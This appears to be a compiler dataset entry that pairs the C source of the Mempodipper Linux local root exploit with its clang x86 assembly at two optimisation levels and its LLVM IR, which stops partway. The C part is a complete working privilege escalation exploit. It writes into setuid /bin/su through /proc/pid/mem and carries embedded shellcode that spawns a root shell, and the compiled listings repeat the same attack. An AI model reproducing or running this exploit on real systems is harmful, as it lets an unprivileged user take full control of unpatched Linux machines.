#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ AF_UNIX;
int /*<<< orphan*/ O_RDWR;
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ SOCK_STREAM;
unsigned long ULONG_MAX;
int /*<<< orphan*/ atoi(char *);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *, char *, ...);
int /*<<< orphan*/ fgets(char *, int, int /*<<< orphan*/ *);
scalar_t__ fork();
int getppid();
int /*<<< orphan*/ lseek64(int, unsigned long, int /*<<< orphan*/);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ pclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ *popen(char *, char *);
int /*<<< orphan*/ printf(char *, ...);
int recv_fd(int);
int /*<<< orphan*/ send_fd(int /*<<< orphan*/, int);
scalar_t__ socketpair(int /*<<< orphan*/, int /*<<< orphan*/,
                      int /*<<< orphan*/, int *);
int /*<<< orphan*/ sprintf(char *, char *, int);
char *strstr(char *, char *);
unsigned long strtoul(char *, int /*<<< orphan*/ *, int);
int main(int argc, char **argv) {
  if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
    char parent_mem[256];
    sprintf(parent_mem, "/proc/%d/mem", getppid());
    printf("[+] Opening parent mem %s in child.\n", parent_mem);
    int fd = open(parent_mem, O_RDWR);
    if (fd < 0) {
      perror("[-] open");
      return 1;
    }
    printf("[+] Sending fd %d to parent.\n", fd);
    send_fd(atoi(argv[2]), fd);
    return 0;
  }
  printf("===============================\n");
  printf("=          Mempodipper        =\n");
  printf("=           by zx2c4          =\n");
  printf("=         Jan 21, 2012        =\n");
  printf("===============================\n\n");
  int sockets[2];
  printf("[+] Opening socketpair.\n");
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
    perror("[-] socketpair");
    return -1;
  }
  if (fork()) {
    printf("[+] Waiting for transferred fd in parent.\n");
    int fd = recv_fd(sockets[1]);
    printf("[+] Received fd at %d.\n", fd);
    if (fd < 0) {
      perror("[-] recv_fd");
      return -1;
    }
    printf("[+] Assigning fd %d to stderr.\n", fd);
    dup2(2, 6);
    dup2(fd, 2);
    unsigned long address;
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
      address = strtoul(argv[2], NULL, 16);
    else {
      printf("[+] Reading su for exit@plt.\n");
      FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n "
                            "1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'",
                            "r");
      char result[32];
      result[0] = 0;
      fgets(result, 32, command);
      pclose(command);
      address = strtoul(result, NULL, 16);
      if (address == ULONG_MAX || !address) {
        printf("[-] Could not resolve /bin/su. Specify the exit@plt function "
               "address manually.\n");
        printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n",
               argv[0], argv[0]);
        return 1;
      }
      printf("[+] Resolved exit@plt to 0x%lx.\n", address);
    }
    printf("[+] Calculating su padding.\n");
    FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
    char result[256];
    result[0] = 0;
    fgets(result, 256, command);
    pclose(command);
    unsigned long su_padding =
        (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
    unsigned long offset = address - su_padding;
    printf("[+] Seeking to offset 0x%lx.\n", offset);
    lseek64(fd, offset, SEEK_SET);
    char shellcode[] =
        "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
        "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
        "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
        "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
        "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
    printf("[+] Executing su with shellcode.\n");
    execl("/bin/su", "su", shellcode, NULL);
  } else {
    char sock[32];
    sprintf(sock, "%d", sockets[0]);
    printf("[+] Executing child from child fork.\n");
    execl("/proc/self/exe", argv[0], "-c", sock, NULL);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x2f0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x2,-0x8(%rbp)
jle    1335 <main+0x105>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
movsbl (%rax),%eax
cmp    $0x2d,%eax
jne    1335 <main+0x105>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
movsbl 0x1(%rax),%eax
cmp    $0x63,%eax
jne    1335 <main+0x105>
lea    -0x110(%rbp),%rax
mov    %rax,-0x2e8(%rbp)
mov    $0x0,%al
call   1110 <getppid@plt>
mov    -0x2e8(%rbp),%rdi
mov    %eax,%edx
lea    0xd5f(%rip),%rsi
call   1100 <sprintf@plt>
lea    -0x110(%rbp),%rsi
lea    0xd59(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    -0x110(%rbp),%rdi
mov    0x2d1f(%rip),%rax
mov    (%rax),%esi
call   10b0 <open@plt>
mov    %eax,-0x114(%rbp)
cmpl   $0x0,-0x114(%rbp)
jge    12fb <main+0xcb>
lea    0xd48(%rip),%rdi
call   10d0 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    16f5 <main+0x4c5>
mov    -0x114(%rbp),%esi
lea    0xd33(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   10f0 <atoi@plt>
mov    %eax,%edi
mov    -0x114(%rbp),%esi
call   1040 <send_fd@plt>
movl   $0x0,-0x4(%rbp)
jmp    16f5 <main+0x4c5>
lea    0xd1d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd30(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd43(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd56(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd69(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd7d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    0x2c50(%rip),%rax
mov    (%rax),%edi
mov    0x2c37(%rip),%rax
mov    (%rax),%esi
lea    -0x11c(%rbp),%rcx
xor    %edx,%edx
call   1090 <socketpair@plt>
cmp    $0x0,%rax
jge    13cb <main+0x19b>
lea    0xd5e(%rip),%rdi
call   10d0 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    16f5 <main+0x4c5>
mov    $0x0,%al
call   1140 <fork@plt>
cmp    $0x0,%rax
je     16a6 <main+0x476>
lea    0xd44(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x118(%rbp),%edi
call   10a0 <recv_fd@plt>
mov    %eax,-0x120(%rbp)
mov    -0x120(%rbp),%esi
lea    0xd4a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
cmpl   $0x0,-0x120(%rbp)
jge    1434 <main+0x204>
lea    0xd47(%rip),%rdi
call   10d0 <perror@plt>
movl   $0xffffffff,-0x4(%rbp)
jmp    16f5 <main+0x4c5>
mov    -0x120(%rbp),%esi
lea    0xd35(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x2,%edi
mov    $0x6,%esi
call   1030 <dup2@plt>
mov    -0x120(%rbp),%edi
mov    $0x2,%esi
call   1030 <dup2@plt>
cmpl   $0x2,-0x8(%rbp)
jle    14bc <main+0x28c>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
movsbl (%rax),%eax
cmp    $0x2d,%eax
jne    14bc <main+0x28c>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
movsbl 0x1(%rax),%eax
cmp    $0x6f,%eax
jne    14bc <main+0x28c>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   10e0 <strtoul@plt>
mov    %rax,-0x128(%rbp)
jmp    159b <main+0x36b>
lea    0xcd3(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xce3(%rip),%rdi
lea    0xc4d(%rip),%rsi
call   10c0 <popen@plt>
mov    %rax,-0x130(%rbp)
movb   $0x0,-0x150(%rbp)
lea    -0x150(%rbp),%rdi
mov    -0x130(%rbp),%rdx
mov    $0x20,%esi
call   1070 <fgets@plt>
mov    -0x130(%rbp),%rdi
call   1060 <pclose@plt>
lea    -0x150(%rbp),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   10e0 <strtoul@plt>
mov    %rax,-0x128(%rbp)
mov    -0x128(%rbp),%rax
mov    0x2a7f(%rip),%rcx
cmp    (%rcx),%rax
je     1550 <main+0x320>
cmpq   $0x0,-0x128(%rbp)
jne    1586 <main+0x356>
lea    0xcb9(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xced(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    16f5 <main+0x4c5>
mov    -0x128(%rbp),%rsi
lea    0xd02(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd15(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xd24(%rip),%rdi
lea    0xb6e(%rip),%rsi
call   10c0 <popen@plt>
mov    %rax,-0x158(%rbp)
movb   $0x0,-0x260(%rbp)
lea    -0x260(%rbp),%rdi
mov    -0x158(%rbp),%rdx
mov    $0x100,%esi
call   1070 <fgets@plt>
mov    -0x158(%rbp),%rdi
call   1060 <pclose@plt>
lea    -0x260(%rbp),%rdi
lea    0xcfe(%rip),%rsi
call   1150 <strstr@plt>
lea    -0x260(%rbp),%rcx
sub    %rcx,%rax
shr    $0x0,%rax
mov    %rax,-0x268(%rbp)
mov    -0x128(%rbp),%rax
sub    -0x268(%rbp),%rax
mov    %rax,-0x270(%rbp)
mov    -0x270(%rbp),%rsi
lea    0xcda(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x120(%rbp),%edi
mov    -0x270(%rbp),%rsi
mov    0x2974(%rip),%rax
mov    (%rax),%edx
call   1120 <lseek64@plt>
lea    -0x2c0(%rbp),%rdi
lea    0xd37(%rip),%rsi
mov    $0x46,%edx
call   1080 <memcpy@plt>
lea    0xcb7(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    -0x2c0(%rbp),%rdx
lea    0xcc4(%rip),%rdi
lea    0xcc2(%rip),%rsi
xor    %eax,%eax
mov    %eax,%ecx
mov    $0x0,%al
call   1130 <execl@plt>
jmp    16f5 <main+0x4c5>
lea    -0x2e0(%rbp),%rdi
mov    -0x11c(%rbp),%edx
lea    0xca1(%rip),%rsi
call   1100 <sprintf@plt>
lea    0xc98(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    -0x2e0(%rbp),%rcx
lea    0xca2(%rip),%rdi
lea    0xcaa(%rip),%rdx
xor    %eax,%eax
mov    %eax,%r8d
mov    $0x0,%al
call   1130 <execl@plt>
mov    -0x4(%rbp),%eax
add    $0x2f0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x160,%rsp
mov    %rsi,%r14
mov    %edi,%ebp
cmp    $0x3,%edi
jl     12ce <main+0x9e>
mov    0x8(%r14),%rax
cmpb   $0x2d,(%rax)
jne    12ce <main+0x9e>
cmpb   $0x63,0x1(%rax)
jne    12ce <main+0x9e>
xor    %eax,%eax
call   1110 <getppid@plt>
lea    0xd96(%rip),%rsi
lea    0x60(%rsp),%rbx
mov    %rbx,%rdi
mov    %eax,%edx
call   1100 <sprintf@plt>
lea    0xd8d(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x2d57(%rip),%rax
mov    (%rax),%esi
mov    %rbx,%rdi
call   10b0 <open@plt>
test   %eax,%eax
js     15dc <main+0x3ac>
mov    %eax,%ebp
lea    0xd8f(%rip),%rdi
xor    %ebx,%ebx
mov    %eax,%esi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x10(%r14),%rdi
call   10f0 <atoi@plt>
mov    %eax,%edi
mov    %ebp,%esi
call   1050 <send_fd@plt>
jmp    15ca <main+0x39a>
lea    0xf04(%rip),%rdi
call   1030 <puts@plt>
lea    0xf18(%rip),%rdi
call   1030 <puts@plt>
lea    0xf2c(%rip),%rdi
call   1030 <puts@plt>
lea    0xf40(%rip),%rdi
call   1030 <puts@plt>
lea    0xf54(%rip),%rdi
call   1030 <puts@plt>
lea    0xf69(%rip),%rdi
call   1030 <puts@plt>
mov    0x2cc3(%rip),%rax
mov    (%rax),%edi
mov    0x2caa(%rip),%rax
mov    (%rax),%esi
lea    0x8(%rsp),%rcx
xor    %edx,%edx
call   1090 <socketpair@plt>
test   %rax,%rax
js     15b0 <main+0x380>
xor    %ebx,%ebx
xor    %eax,%eax
call   1140 <fork@plt>
test   %rax,%rax
je     1545 <main+0x315>
lea    0xf61(%rip),%rdi
call   1030 <puts@plt>
mov    0xc(%rsp),%edi
call   10a0 <recv_fd@plt>
mov    %eax,%r15d
lea    0xcfa(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1060 <printf@plt>
test   %r15d,%r15d
js     15b9 <main+0x389>
lea    0xd05(%rip),%rdi
mov    %r15d,%esi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0x2,%edi
mov    $0x6,%esi
call   1040 <dup2@plt>
mov    %r15d,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
cmp    $0x3,%ebp
jl     13d9 <main+0x1a9>
mov    0x8(%r14),%rax
cmpb   $0x2d,(%rax)
jne    13d9 <main+0x1a9>
cmpb   $0x6f,0x1(%rax)
jne    13d9 <main+0x1a9>
mov    0x10(%r14),%rdi
xor    %esi,%esi
mov    $0x10,%edx
call   10e0 <strtoul@plt>
mov    %rax,%r12
jmp    1459 <main+0x229>
lea    0xf01(%rip),%rdi
call   1030 <puts@plt>
lea    0xcc0(%rip),%rdi
lea    0xc73(%rip),%rsi
call   10c0 <popen@plt>
mov    %rax,%rbx
movb   $0x0,0x60(%rsp)
lea    0x60(%rsp),%rbp
mov    %rbp,%rdi
mov    $0x20,%esi
mov    %rax,%rdx
call   1080 <fgets@plt>
mov    %rbx,%rdi
call   1070 <pclose@plt>
mov    %rbp,%rdi
xor    %esi,%esi
mov    $0x10,%edx
call   10e0 <strtoul@plt>
test   %rax,%rax
je     1589 <main+0x359>
mov    %rax,%r12
mov    0x2b79(%rip),%rax
cmp    (%rax),%r12
je     1589 <main+0x359>
lea    0xcef(%rip),%rdi
mov    %r12,%rsi
xor    %eax,%eax
call   1060 <printf@plt>
lea    0xeed(%rip),%rdi
call   1030 <puts@plt>
lea    0xcf3(%rip),%rdi
lea    0xbf3(%rip),%rsi
call   10c0 <popen@plt>
mov    %rax,%rbx
movb   $0x0,0x60(%rsp)
lea    0x60(%rsp),%rbp
mov    %rbp,%rdi
mov    $0x100,%esi
mov    %rax,%rdx
call   1080 <fgets@plt>
mov    %rbx,%rdi
call   1070 <pclose@plt>
lea    0xce1(%rip),%rsi
mov    %rbp,%rdi
call   1150 <strstr@plt>
sub    %rax,%rbp
add    %r12,%rbp
lea    0xce5(%rip),%rdi
xor    %ebx,%ebx
mov    %rbp,%rsi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x2afc(%rip),%rax
mov    (%rax),%edx
mov    %r15d,%edi
mov    %rbp,%rsi
call   1120 <lseek64@plt>
movaps 0xee0(%rip),%xmm0
movaps %xmm0,0x40(%rsp)
movaps 0xec4(%rip),%xmm0
movaps %xmm0,0x30(%rsp)
movaps 0xea8(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movaps 0xe8c(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
movabs $0x50f3bb0d23148,%rax
mov    %rax,0x4e(%rsp)
lea    0xe4a(%rip),%rdi
call   1030 <puts@plt>
lea    0xc91(%rip),%rdi
lea    0xc8f(%rip),%rsi
lea    0x10(%rsp),%rdx
xor    %ecx,%ecx
xor    %eax,%eax
call   1130 <execl@plt>
jmp    15ca <main+0x39a>
mov    0x8(%rsp),%edx
lea    0xc74(%rip),%rsi
lea    0x60(%rsp),%rbp
mov    %rbp,%rdi
call   1100 <sprintf@plt>
lea    0xd2e(%rip),%rdi
call   1030 <puts@plt>
mov    (%r14),%rsi
lea    0xc54(%rip),%rdi
lea    0xc5c(%rip),%rdx
mov    %rbp,%rcx
xor    %r8d,%r8d
xor    %eax,%eax
call   1130 <execl@plt>
jmp    15ca <main+0x39a>
lea    0xd6e(%rip),%rdi
call   1030 <puts@plt>
mov    (%r14),%rdx
lea    0xb69(%rip),%rdi
mov    %rdx,%rsi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0x1,%ebx
jmp    15ca <main+0x39a>
lea    0xaa2(%rip),%rdi
jmp    15c0 <main+0x390>
lea    0xac0(%rip),%rdi
call   10d0 <perror@plt>
mov    $0xffffffff,%ebx
mov    %ebx,%eax
add    $0x160,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xa4f(%rip),%rdi
call   10d0 <perror@plt>
mov    $0x1,%ebx
jmp    15ca <main+0x39a>

LLVM IR (-O0):
@.str = [13 x i8] c"/proc/%d/mem\00"
@.str.1 = [37 x i8] c"[+] Opening parent mem %s in child.\0A\00"
@O_RDWR = global i32 0
@.str.2 = [9 x i8] c"[-] open\00"
@.str.3 = [30 x i8] c"[+] Sending fd %d to parent.\0A\00"
@.str.4 = [33 x i8] c"===============================\0A\00"
@.str.5 = [33 x i8] c"= Mempodipper =\0A\00"
@.str.6 = [33 x i8] c"= by zx2c4 =\0A\00"
@.str.7 = [33 x i8] c"= Jan 21, 2012 =\0A\00"
@.str.8 = [34 x i8] c"===============================\0A\0A\00"
@.str.9 = [25 x i8] c"[+] Opening socketpair.\0A\00"
@AF_UNIX = global i32 0
@SOCK_STREAM = global i32 0
@.str.10 = [15 x i8] c"[-] socketpair\00"
@.str.11 = [43 x i8] c"[+] Waiting for transferred fd in parent.\0A\00"
@.str.12 = [24 x i8] c"[+] Received fd at %d.\0A\00"
@.str.13 = [12 x i8] c"[-] recv_fd\00"
@.str.14 = [32 x i8] c"[+] Assigning fd %d to stderr.\0A\00"
@.str.15 = [30 x i8] c"[+] Reading su for exit@plt.\0A\00"
@.str.16 = [92 x i8] c"objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'\00"
@.str.17 = [2 x i8] c"r\00"
@ULONG_MAX = global i64 0
@.str.18 = [80 x i8] c"[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\0A\00"
@.str.19 = [54 x i8] c"[-] Usage: %s -o ADDRESS\0A[-] Example: %s -o 0x402178\0A\00"
@.str.20 = [33 x i8] c"[+] Resolved exit@plt to 0x%lx.\0A\00"
@.str.21 = [29 x i8] c"[+] Calculating su padding.\0A\00"
@.str.22 = [38 x i8] c"/bin/su this-user-does-not-exist 2>&1\00"
@.str.23 = [25 x i8] c"this-user-does-not-exist\00"
@.str.24 = [30 x i8] c"[+] Seeking to offset 0x%lx.\0A\00"
@SEEK_SET = global i32 0
@__const.main.shellcode = [70 x i8] c"H1\FF\B0i\0F\05H1\FF\B0j\0F\05@\B7\06@\B6\02\B0!\0F\05H\BB//bin/shH\C1\EB\08SH\89\E7H1\DBf\BB-iSH\89\E1H1\C0PQWH\89\E6H1\D2\B0;\0F\05\00"
@.str.25 = [34 x i8] c"[+] Executing su with shellcode.\0A\00"
@.str.26 = [8 x i8] c"/bin/su\00"
@.str.27 = [3 x i8] c"su\00"
@.str.28 = [3 x i8] c"%d\00"
@.str.29 = [38 x i8] c"[+] Executing child from child fork.\0A\00"
@.str.30 = [15 x i8] c"/proc/self/exe\00"
@.str.31 = [3 x i8] c"-c\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [256 x i8]
%7 = alloca i32
%8 = alloca [2 x i32]
%9 = alloca i32
%10 = alloca i64
%11 = alloca i32*
%12 = alloca [32 x i8]
%13 = alloca i32*
%14 = alloca [256 x i8]
%15 = alloca i64
%16 = alloca i64
%17 = alloca [70 x i8]
%18 = alloca [32 x i8]
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%19 = load i32, i32* %4
%20 = icmp sgt i32 %19, 2
br i1 %20, label %21, label %59
21: ; preds = %2
%22 = load i8**, i8*** %5
%23 = getelementptr inbounds i8*, i8** %22, i64 1
%24 = load i8*, i8** %23
%25 = getelementptr inbounds i8, i8* %24, i64 0
%26 = load i8, i8* %25
%27 = sext i8 %26 to i32
%28 = icmp eq i32 %27, 45
br i1 %28, label %29, label %59
29: ; preds = %21
%30 = load i8**, i8*** %5
%31 = getelementptr inbounds i8*, i8** %30, i64 1
%32 = load i8*, i8** %31
%33 = getelementptr inbounds i8, i8* %32, i64 1
%34 = load i8, i8* %33
%35 = sext i8 %34 to i32
%36 = icmp eq i32 %35, 99
br i1 %36, label %37, label %59
37: ; preds = %29
%38 = getelementptr inbounds [256 x i8], [256 x i8]* %6, i64 0, i64 0
%39 = call i32 (...) @getppid()
%40 = call i32 @sprintf(i8* %38, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0), i32 %39)
%41 = getelementptr inbounds [256 x i8], [256 x i8]* %6, i64 0, i64 0
%42 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.1, i64 0, i64 0), i8* %41)
%43 = getelementptr inbounds [256 x i8], [256 x i8]* %6, i64 0, i64 0
%44 = load i32, i32* @O_RDWR
%45 = call i32 @open(i8* %43, i32 %44)
store i32 %45, i32* %7
%46 = load i32, i32* %7
%47 = icmp slt i32 %46, 0
br i1 %47, label %48, label %50
48: ; preds = %37
%49 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %185
50: ; preds = %37
%51 = load i32, i32* %7
%52 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.3, i64 0, i64 0), i32 %51)
%53 = load i8**, i8*** %5
%54 = getelementptr inbounds i8*, i8** %53, i64 2
%55 = load i8*, i8** %54
%56 = call i32 @atoi(i8* %55)
%57 = load i32, i32* %7
%58 = call i32 @send_fd(i32 %56, i32 %57)
store i32 0, i32* %3
br label %185
59: ; preds = %29, %21, %2
%60 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.4, i64 0, i64 0))
%61 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.5, i64 0, i64 0))
%62 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.6, i64 0, i64 0))
%63 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.7, i64 0, i64 0))
%64 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.8, i64 0, i64 0))
%65 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.9, i64 0, i64 0))
%66 = load i32, i32* @AF_UNIX
%67 = load i32, i32* @SOCK_STREAM
%68 = getelementptr inbounds [2 x i32], [2 x i32]* %8, i64 0, i64 0
%69 = call i64 @socketpair(i32 %66, i32 %67, i32 0, i32* %68)
%70 = icmp slt i64 %69, 0
br i1 %70, label %71, label %73
71: ; preds = %59
%72 = call i32 @perror(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.10, i64 0, i64 0))
store i32 -1, i32* %3
br label %185
73: ; preds = %59
%74 = call i64 (...) @fork()
%75 = icmp ne i64 %74, 0
br i1 %75, label %76, label %174
76: ; preds = %73
%77 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([43 x i8], [43 x i8]* @.str.11, i64 0, i64 0))
%78 = getelementptr inbounds [2 x i32], [2 x i32]* %8, i64 0, i64 1
%79 = load i32, i32* %78
%80 = call i32 @recv_fd(i32 %79)
store i32 %80, i32* %9
%81 = load i32, i32* %9
%82 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.12, i64 0, i64 0), i32 %81)
%83 = load i32, i32* %9
%84 = icmp slt i32 %83, 0
br i1 %84, label %85, label %87
85: ; preds = %76
%86 = call i32 @perror(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.13, i64 0, i64 0))
store i32 -1, i32* %3
br label %185
87: ; preds = %76
%88 = load i32, i32* %9
%89 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.14, i64 0, i64 0), i32 %88)
%90 = call i32 @dup2(i32 2, i32 6)
%91 = load i32, i32* %9
%92 = call i32 @dup2(i32 %91, i32 2)
%93 = load i32, i32* %4
%94 = icmp sgt i32 %93, 2
br i1 %94, label %95, label %116
95: ; preds = %87
%96 = load i8**, i8*** %5
%97 = getelementptr inbounds i8*, i8** %96, i64 1
%98 = load i8*, i8** %97
%99 = getelementptr inbounds i8, i8* %98, i64 0
%100 = load i8, i8* %99
%101 = sext i8 %100 to i32
%102 = icmp eq i32 %101, 45
br i1 %102, label %103, label %116
103: ; preds = %95
%104 = load i8**, i8*** %5
%105 = getelementptr inbounds i8*, i8** %104, i64 1
%106 = load i8*, i8** %105
%107 = getelementptr inbounds i8, i8* %106, i64 1
%108 = load i8, i8* %107
%109 = sext i8 %108 to i32
%110 = icmp eq i32 %109, 111
br i1 %110, label %111, label %116
111: ; preds = %103
%112 = load i8**, i8*** %5
%113 = getelementptr inbounds i8*, i8** %112, i64 2
%114 = load i8*, i8** %113
%115 = call i64 @strtoul(i8* %114, i32* null, i32 16)
store i64 %115, i64* %10
br label %145
116: ; preds = %103, %95, %87
%117 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.15, i64 0, i64 0))
%118 = call i32* @popen(i8* getelementptr inbounds ([92 x i8], [92 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.17, i64 0, i64 0))
store i32* %118, i32** %11
%119 = getelementptr inbounds [32 x i8], [32 x i8]* %12, i64 0, i64 0
store i8 0, i8* %119
%120 = getelementptr inbounds [32 x i8], [32 x i8]* %12, i64 0, i64 0
%121 = load i32*, i32** %11
%122 = call i32 @fgets(i8* %120, i32 32, i32* %121)
%123 = load i32*, i32** %11
%124 = call i32 @pclose(i32* %123)
%125 = getelementptr inbounds [32 x i8], [32 x i8]* %12, i64 0, i64 0
%126 = call i64 @strtoul(i8* %125, i32* null, i32 16)
store i64 %126, i64* %10
%127 = load i64, i64* %10
%128 = load i64, i64* @ULONG_MAX
%129 = icmp eq i64 %127, %128
br i1 %129, label %133, label %130
130: ; preds = %116
%131 = load i64, i64* %10
%132 = icmp ne i64 %131, 0
br i1 %132, label %142, label %133
133: ; preds = %130, %116
%134 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([80 x i8], [80 x i8]* @.str.18, i64 0, i64 0))
%135 = load i8**, i8*** %5
%136 = getelementptr inbounds i8*, i8** %135, i64 0
%137 = load i8*, i8** %136
%138 = load i8**, i8*** %5
%139 = getelementptr inbounds i8*, i8** %138, i64 0
%140 = load i8*, i8** %139
%141 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([54 x i8], [54 x i8]* @.str.19, i64 0, i64 0), i8* %137, i8* %140)
store i32 1, i32* %3
br label %185
142: ; preds = %130
%143 = load i64, i64* %10
%144 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.20, i64 0, i64 0), i64 %143)
br label %145
145: ; preds = %142, %111
%146 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.21, i64 0, i64 0))
%147 = call i32* @popen(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.22, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.17, i64 0, i64 0))
store i32* %147, i32** %13
%148 = getelementptr inbounds [256 x i8], [256 x i8]* %14, i64 0, i64 0
store i8 0, i8* %148
%149 = getelementptr inbounds [256 x i8], [256 x i8]* %14, i64 0, i64 0
%150 = load i32*, i32** %13
%151 = call i32 @fgets(i8* %149, i32 256, i32* %150)
%152 = load i32*, i32** %13
%153 = call i32 @pclose(i32* %152)
%154 = getelementptr inbounds [256 x i8], [256 x i8]* %14, i64 0, i64 0
%155 = call i8* @strstr(i8* %154, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.23, i64 0, i64 0))
%156 = getelementptr inbounds [256 x i8], [256 x i8]* %14, i64 0, i64 0
